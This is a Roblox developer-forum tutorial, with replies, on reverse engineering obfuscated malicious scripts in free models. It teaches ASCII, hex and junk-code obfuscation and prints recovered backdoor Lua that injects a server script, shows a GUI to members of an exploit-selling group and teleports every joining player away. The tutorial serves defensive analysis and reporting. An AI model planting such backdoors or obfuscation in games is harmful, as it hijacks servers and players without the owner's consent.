How to reverse engineer malicious scripts!

Hello everyone! (⌒▽⌒)☆
Today me, Zamdie, the one and only, the nerdiest polish-brazillian programmer on Earth™, is going to teach you how to reverse engineer that one free model that has a weird script in it!

Along this guide you’ll also learn important programming things, like binary numbers, hexadecimal numbers, ASCII, etc!
I recommend doing the exercises as practicing is the best way to learn!

Please note that the best defense is not inserting sketchy models in your game! If you wish to reverse engineer a script made by exploiters, or go on a reporting spree (Studio noobs will be grateful for that), do it on an empty baseplate, or alt!

Prerequisites

  • A brain; :brain: (min. age: 13)
  • A way to execute Lua code;
    Can be either:
    • Roblox Studio;
    • A Lua interpreter, along with a text editor; I use VSC :wink:

Method of obfuscation 1: ASCII


ASCII stands for American Standard Code for Information Interchange and contains “codes” for characters, which computing devices can use to represent characters!
In case you didn’t know, CPUs only read binary digits, most known as bits (0s and 1s). An ASCII code consists of 7 bits (nowadays you have ASCII compatible 8 bits codes).
So when you’re compiling your program, it’s going to take that string and read the codes for each character in whatever string you’ve got, take the bits for the code of the character, and put it in the machine code generated! in case you didn’t know, strings are an array of characters

What’s escaping a string

Quoting from wikipedia because I’m a cool kid :sunglasses:

In computing and telecommunication, an escape character is a character that invokes an alternative
interpretation on the following characters in a character sequence.

What does that mean?
This means, instead of literally taking the specific character into the string, it’s going to do something else with it. Most known escape character is \n, it indicates a new line. Here’s what the escape characters below do:

  • \\: since \ is the escape character, escaping it with another \ will print one \;
  • \n: starts a new line;

ASCII in Lua

In Lua, to put an ASCII code in a string, you need to escape that specific code in the string, and Lua’s going to take the character for that code. Here you can find all codes!
Let’s take a look:

obraz

What you wanna look at is the “Dec” column (which stands for Decimal). It’s the number we’re going to escape. I’m going to take the number 122, which is the code for the character z.

obraz

You’re ready on your journey to become a Master Hacker™ :sunglasses:
However, I said that you’re ready to start your journey, not that you’re already one. Let’s print out my username. :nerd_face:

  • 90 - Z
  • 97 - a
  • 109 - m
  • 100 - d
  • 105 - i
  • 101 - e

Let’s put that into Lua code!

obraz

You can also group characters with ASCII codes without problem!

obraz

Exercise: print out your username solely with ASCII codes!

Method of obfuscation 2: Hex values


Hexadecimal values are written in base 16. What does that mean? Well, you see, the decimal system is decimal because you can use 10 symbols to write things: 0-9; while the hexadecimal system has 16 symbols: 0-9 and “A-F” (10-15).
In a nutshell, hexadecimal is decimal but on :fire:.
Why :fire:, you ask? Read this.
TL;DR: it’s more readable than binary and it’s base is a multiple of 2, which is the base of binary. Thus it lines up with binary every 4 bits, whereas decimals never do.

A simple way of converting a hexadecimal with 5 numerical digits is as follows:
fifth number * 16^0 + fourth number * 16^1 + third number * 16^2 + second number * 16^3 + first number * 16^4
For example, to calculate 0x1234f, you’d do:
15 * 16^0 + 4 * 16^1 + 3 * 16^2 + 2 * 16^3 + 1 * 16^4
remember that A-F covers 10-15, so F in the example above is 15!

if you’re interested in going in-depth, you can read an article!

Hexadecimals in Lua

To define a hexadecimal number in Lua, you use 0xnumber.
Great! Let’s apply the theory into practice.

0x12345:

0x16:
obraz

0x80: probably the most important hexadecimal number in history


0xfc1:

Exercise: print the hexadecimal 0x16a3 along with the math solution!
Answer:

Method of obfuscation 3: binary


This only works with Luau!

Ah yes, binary, the nightmare of every person with a weak learning mindset.
Would you believe me if I said, that you convert binary to hexadecimal the same way you do from hexadecimal to decimal?
Let’s see. Take this binary number: 1001
We convert it like this:
1 * 2^0 + 0 * 2^1 + 0 * 2^2 + 1 * 2^3
If we simplify it (remove the zeros), it becomes:
1 * 2^0 + 1 * 2^4
It’s that simple!

Binary in Luau

We define a binary number via 0byourBinaryNumber. Let’s see some examples!

Exercise: print the binary 1111 0110 along with the math solution!
Answer:

Method of obfuscation 4: junk code


This is probably the most known one; a bunch of variables called lIllIIIllIIIlllII with a bunch of functions and built-in functions being defined.
This is actually pretty simple to understand; consider the following code:

local Players = game:GetService("Players")

Players.PlayerAdded:Connect(function(player: Player)
    print(player.Name .. " has joined the game!")
end)

This is code we can all read; now consider this code:

local game = game
local reverse = string.reverse

local function getServiceString()
	return reverse("GetService")
end

local function someJunk(str)
	return game[reverse(getServiceString())](game, reverse(reverse("Players")))
end

local function getPlayers(str)
	return someJunk(str)
end

getPlayers()[reverse(reverse("PlayerAdded"))][reverse(reverse("Connect"))](getPlayers()[reverse(reverse("PlayerAdded"))], function(player)
	print(player.Name .. " has joined the game!")
end)

If I told you that is the same code as the snippet before, would you believe me?

If we remove the junk, we get this:

game.Players.PlayerAdded.Connect(game.Players.PlayerAdded, function(player)
	print(player.Name .. " has joined the game!")
end)

(using [] is the same as via dot notation, so we have to manually pass in self, which is the event to be connected to)

Now switch those characters to ASCII codes, slap a bunch more functions to do every single thing, change all variables to lIlllIIlIllIIIllI and you’ve basically obfuscated your script!

Reverse engineering


Let’s Git to the Gud stuff! :smiling_imp:
I’m going to grab a free model and check for funny scripts!

After literally 1 model searched, here’s a funny hexadecimal code!

image

Let’s get that into a decimal number!

:flushed:


For obfuscated scripts your best bet are deobfuscators. (or time and intellect)


You might also find scripts with a lot of spaces. Simply paste it into a beautifier so you can access it’s secrets :flushed:


image


After less than a minute searching, I’ve found an infected model. Searching for “script” I’ve found this:

image

Great! We found a module that uses a loadstring implementation, with the require obfuscated with ASCII characters! There couldn’t be a better example for this tutorial than this!
The submodules are unimportant, the actual ASCII escaped string is in the Credits script.

Yup, that’s just the credits for the model. Seems legit. End of tutorial!

I’ve been received with a lot of whitespaces. I mean, that’s so rude :mad: :mad:. Whoever made that module definitely hates poles! :pensive:
Alright, I’m Ctrl + A’ing the code and going to the Lua beautifier above and pasting it in. Everything the rude man put in there is going to be revealed to me :sunglasses:

As you can see, it calls the submodule, which by it’s name we can obviously tell what it does.
So what can we do?

  1. Print the string in Studio (or with vanilla Lua)
  2. Manually decode it

I’m going with option 1, because it’s just easier. You can do it manually if you wanna test your knowledge though! :wink:

Very sneaky, I suppose. :cool:
Great, We got the ID! We’re able to grab the source of the module now. Using the https://www.roblox.com/library/id link, and the BTRoblox extension to download the .rbxm file, we can have a peek at the model.
Now that we’ve got the .rbxm file, let’s look at their horrendous code:

local module = {}

local group = 7077436 

script.Functions.ScriptAAA:Clone().Parent = game.ServerScriptService

game.Players.PlayerAdded:Connect(function(lol)
if lol:IsInGroup(group) then
    script.ScreenGui:Clone().Parent = lol.PlayerGui 
end
end)

return module 
script:FindFirstChild("Script").Parent = game:GetService("ServerScriptService");
local AlreadyTeleported = {};
game:GetService("Players").PlayerAdded:Connect(function(Player)
    local AlreadyTPed = false;
    for Index, Value in next, AlreadyTeleported do
        if Value == Player.Name then
            AlreadyTPed = true;
        end;
    end;
    if AlreadyTPed == false then
        local teleportData = {
            placeId = game.PlaceId,
            jobId = game.JobId
        }
        game:GetService("TeleportService"):Teleport(5121000130, Player, teleportData)
        table.insert(AlreadyTeleported, Player.Name)
    end;
end);

Roasting time! :sunglasses: :smiling_imp:

  1. They aren’t using :GetService, if the owner of the place changes the name of the Players service, their script is going to be useless XD :rofl: :rofl: :rofl:
  2. Non-descriptive variables;
  3. Uses next instead of pairs();

It contains this GUI:

We’ve reached a server side exploit operation! Digging a bit deeper, I’ve found a YouTube video showing it off, with the Discord link. I’m not going any deeper than that, it would only be trouble.


Lessgoooo! :weary: :flushed: :sunglasses: :pensive: :cold_face: :crab: banning is gone :crab:

From what we can see, it checks if the person is in a group, presumably for people that’ve bought access to this server-side exploit and shows that GUI for them. fun fact, the members of this group aren’t banned (except the lady that made the script, she’s the owner), and one dude’s account is from 2007!

The second script links to a game, which coincidentally is made by the same person that made the script, the “server side” and the group!

In this case the person who made this is already banned, but make sure to report the groups and/or users so Roblox can ban them. This is important. (she had expensive items, don’t do wrong stuff kids)

Final words


Feel free to correct any mistakes!
I’d like to thank you for reading (and hopefully understood!) everything I’ve shared here. \(^ヮ^)/

I mainly made this tutorial because there isn’t too much information on this. When I started programming Luau, I was a noob at this stuff because it was my first language, and CS was a big and complicated world. I mean, it still is, but I already learnt a bunch of stuff in those 4 years!
So I thought all those numbers and stuff were obfuscated, and that I wouldn’t be able to deobfuscate them. Turned out it was super easy!

Do zobaczenia, till’ next time! :pray:

42 Likes

Hello, I am not a Microsoft employee but I can say that this was in-depth and should help a lot of people! It’s not every day I see an in-depth and well-made post on various subjects.

Aside from that, i’d avoid any public links such as the model, You put a warning but people may share it with their friends and whatnot. Nevertheless, it’s just a precaution. But aside from that. Thanks!

Also, What are you using for your explorer and what not? Those icons look unique. Ik the IDE is VSCode but the studio modifications look simplistic and neat.

I rate you 87% Epic Gamer

6 Likes

Thanks for the kind words!

I mean, the malicious person can grab also grab one of the millions of infected free models on the toolbox to send to their “friends”. Although, you’re right, and I’m going to delete those links.

The icons for VSC are from an extension called Material Icon Theme, and the icons for Studio is Vanilla. It indeed looks simplistic and neat, I can swear the default Studio icons are the same since 2016, and need renovation.

87,157% :sunglasses:

1 Like

Bumping the topic as I’ve updated it.

  • Added detailed explanations for every obfuscation method;
  • Made the wording better, and removed humor from some parts;
  • Added a couple more small things, such as small exercises to test your knowledge;

I had a small existential crisis because I’ve learnt so much stuff in this 1 month that has passed!

1 Like

Wow this was an amazingly made tutorial!

I learned a lot and the formatting & style was amazing, keep it up :wink:

2 Likes

Thanks for the kind words! I’m currently writing another tutorial and I hope people enjoy & learn from it as well!

Thank you so much! This is such a complete article. Please keep posting if possible :slight_smile:

1 Like

Just so anybody who reads this knows, sometimes you’ll run into a script which has no publicly available and working deobfuscator, in which case you’ll be sitting there pretty helplessly. The best defense is to just not insert sketchy models into your game.

2 Likes

I’m gonna put that into the tutorial, this was more of an informative post, by no means you should be inserting sketchy models in your game, except if you’re going on a reporting spree, and you’re using an empty baseplate.
Edit: you can use this to reverse engineer exploiting scripts too, in that case people can do it in a baseplate and/or alt too!

I’ve updated the hexadecimals section to include examples with alphanumerical values, upgraded some prints, explained a bit more the in junk code section, fixed some grammar mistakes (the the). I’ve now read through the tutorial thoroughly and there should be nothing more to upgrade. Enjoy the free knowledge!

I’m also a sneaky dude and I’m using this as an opportunity to bump :cool:

This is a really high quality tutorial, but if you know a script is malicious, why not just delete it?

1 Like

Well, if you’re a good person, you can trace the malicious module back and report it.
If you’re after scripts exploiters use for your game, you can trace the module back, and either deobfuscate them to patch them and/or just report them to Roblox.
(I also thank you for the kind words!)

3 Likes

Very interesting topic and covers quite a lot.

However I do not recommend this to newer scripters as this is a tedious process as most exploiters/backdoor creators do much more. I’ve even had to go through 30 or so models just to get the original and had to deobfuscate a stupidly long script just to blacklist the group/player(s).

Only reason to deobfuscate code like this, is if the code is destroying the game or worsening the experience for other players in the game.

1 Like